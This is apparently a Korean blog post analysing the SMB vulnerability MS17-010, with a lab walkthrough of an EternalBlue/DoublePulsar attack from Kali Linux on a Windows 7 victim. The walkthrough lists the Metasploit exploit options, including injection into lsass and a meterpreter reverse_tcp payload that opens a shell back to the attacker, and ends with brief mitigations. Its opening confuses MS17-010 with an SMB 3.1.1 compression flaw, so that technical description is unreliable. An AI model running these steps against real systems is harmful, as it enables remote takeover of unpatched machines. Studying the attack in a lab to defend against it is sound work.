[취약점 분석] SMB 취약점(MS17-010)
SMB 취약점(MS17-010)은 MS SMB 프로토콜의 메모리 파괴 취약점으로, 인증을 거치지 않은 공격자가 원격에서 해당 취약점을 악용하여 웜(worm)과 같은 공격 효과를 가져올 수 있는 취약점이다.
해당 취약점은 OS가 SMB 3.1.1 프로토콜의 압축패킷을 처리하는 과정에서 오류가 발생하여 야기되는 취약점으로, 공격자는 조작된 패킷을 악용하여 원격에서 인증을 거치지 않은 상태로 원격코드 실행이 가능하다.
또한 직접 SMB 서버를 직접 공격하여 RCE 취약점을 악용할 수 있을 뿐만 아니라, SMB 클라이언트를 공격하여 공격자가 특정한 웹페이지, 압축파일, 공유파일, office 문서 등을 조작하는 방식으로 취약점을 트리거 할 수 있다.
여기서, SMB(Server Message Block)가 어떠한 역할을 하는지 알아보자.
SMB는 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜이다. 주로 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용된다. SMB 대신 Common Internet File System, CIFS라고도 한다.
SMB는 1990년에 도스, 윈도우, NT, OS/2, 유닉스 등 난잡했던 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어졌고, 윈도우로 거의 통일된 지금도 NAS, 네트워크 스캐너 등 리눅스 기기와의 파일공유를 클라이언트 없이 탐색기로 직접 수정가능하다는 장점이 있어 아직도 널리 쓰이고 있다. 리눅스에서는 SAMBA라는 소프트웨어를 설치하면 누구나 쉽게 SMB를 이용한 공유가 가능하다.
이 프로토콜은 윈도우에 종속되어 있어 호환성때문에 수십년간 낡은 코드를 유지하면서 자리를 지켜왔으나, 엄청나게 많은 보안 취약점과 도저히 수정할 수 없는 코드로 인해 마이크로소프트의 골칫거리가 되어왔다. 특히 2017년 5월 발생한 WannaCry라는 랜섬웨어가 바로 SMB의 취약점을 노린 것으로 드러났다.
애플 진영에서는 이것 대신 AFP라는 유사한 프로토콜을 주로 사용한다.
해당 SMB에도 3가지의 버전이 존재한다.
1. SMBv1
SMBv1은 MS-DOS부터 Windows 10까지 존재하는 구식 프로토콜이다. 처음 SMB가 만들어질 시절에는 해킹에 대한 개념도 희박했고, 네트워크가 연구소나 대학의 전유물로 여겨졌기 때문에 보안을 고려하지 않고 만들어졌다. 결국 윈도우 침투에 자주 악용하는 루트로 전략해버렸고, 마이크로소프트에서는 보안패치로 해결하고자 노력하였으나 한계가 있었다.
그럼에도 불구하고 계속 지원해왔던 이유는 호환성 때문이다. 보안 결함이 있음에도 불구하고 제일 구현하기 쉬웠기 때문에 NAS나 프린터 제작사들이 계속해서 SMBv1만 지원하는 제품만 내놓았다. OS 기본 설정이나 기업 방화벽으로는 공격을 막기위해 인터넷 망이 아닌 내부 네트워크에서만 수발신이 가능하도록 하였으나, 랜섬웨어가 인터넷을 통해 한 컴퓨터에 들어온 뒤 내부 네트워크 전체를 감염시키는 행태를 보이자 그제서야 유저들이 SMB 사용을 중단하기도 하였다.
2. SMBv2
SMBv2는 SMBv1을 새롭게 대체하고자 만들어진 프로토콜로, Windows Vista부터 탑재되고 있다. 즉 2006년에 제작된 프로토콜이다. 바로 전 버전과 무려 16년 차가 난다.
완전히 새로 개발되었기 때문에 이전 버전과의 호환성은 전혀 없다. 즉 Windows XP 이하의 운영체제에서는 사용할 수 없다. 현재 구형 리눅스 장비를 제외한 대부분의 기기가 SMBv2를 이용한 통신이 가능하며, 속도와 보안 모두 기존보다 월등하다.
3. SMBv3
SMBv3는 SMBv2에 속도 최적화 및 각종 기능을 추가한 것으로, Windows 8부터 탑재되고 있다. 즉 2012년에 제작된 프로토콜이다. SMBv3는 SMBv2와도 통신이 가능하다. 이 때문인지 SMBv2를 비활성화하면 SMBv3도 같이 꺼진다.
주로 SQL 데이터 및 가상화 솔루션 간 파일 전송, 서버 클러스터 관리, 분산 전송을 통한 장애조치 등 데이터센터와 같은 서버 간 통신을 위한 것이며 일반 사용자는 SMBv2로도 아직까지 충분하다.
이제 SMB 취약점(MS17-010)을 이용한 취약점 실습을 진행해보자. 실습에는 이터널 블루를 이용한다.
이터널블루는 미국 국가안보국(NSA)에 의해 개발된 것으로 간주되는 취약점 공격 도구이다. 윈도우가 설치된 시스템에 파일 공유, 원격 코드 실행, 프린트 공유 등을 목적으로 한 SMB 프로토콜 원격코드 실행 취약점(MS17-010)을 이용한다. 2017년 5월 12일에 전 세계 워너크라이 랜섬웨어 공격의 일부로 사용되었다.
공격 절차는 다음과 같다.
1. 이터널 블루 설치
공격 PC에서는 칼리 리눅스 OS를 이용하며, github에서 이터널 블루를 설치한다.
설치한 이터널 블루를 메타스플로잇 프레임워크 안에 추가해준다.
2. 공격 환경 구성
공격자 | OS : Kali Linux IP : 192.168.88.128 |
희생자 | OS : Windows 7 Ultimate IP : 192.168.88.130 |
3. 공격 수행
nmap을 이용해 win7의 SMB포트(445/tcp microsoft-ds)가 열려 있는지 확인한다.
TCP half open 스캔 결과 희생자PC(win7)에 SMB 포트가 열려있는 것을 확인할 수 있다.
공격자 PC(칼리)에서 공격을 위해 메타스플로잇을 실행한다.
postgresql을 실행하고 msfconsole 명령어를 입력해 메타스플로잇을 실행한다.
SMB 취약점을 확인하기 위해 smb_ms17_010 모듈을 실행한다.
use auxiliary/scanner/smb/smb_ms17_010을 입력하면 모듈 실행이 가능하며 show options 명령어를 입력하면 사용가능한 옵션들을 확인할 수 있다
smb_ms17_010 모듈이 실행된 상태에서 희생자 PC의 SMB 취약점 여부를 확인하기 위해 희생자 PC의 IP를 set하고 run 명령어를 입력하여 실행한다. run 명령어 실행하게 되면 희생자 PC(Win7)에 MS17-010 취약점이 있다는 메시지를 확인할 수 있다.
희생자 PC에 취약점이 있는 것을 확인했기 때문에, exploit을 하기위해 eternalblue_doublepulsar 모듈을 실행한다.
exploit을 하기 위해 다음과 같은 옵션을 지정한다.
- set processinject lasass.exe : 주입할 프로세스 파일 지정, x64는 lsass.exe 사용
- set rhost IP 주소 : 공격 대상 IP 지정
- set targetArchitecture x64 : 공격 대상 아키텍쳐 지정
- set target 8 : 공격 대상 OS 환경 지정
- set payload windows/x64/meterpreter/reverse_tcp : 페이로드 생성
payload 옵션에서 lhost를 지정한다. lhost에 공격자 IP를 지정하고 exploit 명령어를 이용해 실행한다.
공격에 성공하게 되면 아래와 같은 화면이 나오게 된다. Backdoor is already installed 메시지는 테스트 과정 중 이미 공격이 진행되서 나오는 메시지이다.
공격 과정중 /root/.wine/drive_c/eternal11.dll 관련한 실패 메시지가 뜨게 되면 해당 경로에 디렉터리를 생성해주면 이슈는 해결된다.
이제 희생자 PC(WIN7)에 세션이 연결됬으니 각종 명령어를 통해 확인해보자.
screenshot 명령어를 통해 희생자 PC를 캡쳐한 화면이다. 지금까지 SMB 취약점을 이용한 취약점 실습이였다.
그럼 해당 SMB 취약점에 대한 대응 방법을 알아보자.
대응 방안
1. OS 최신 보안 패치
2. 네트워크 방화벽 또는 window defender를 이용하여 SMB 관련포트 차단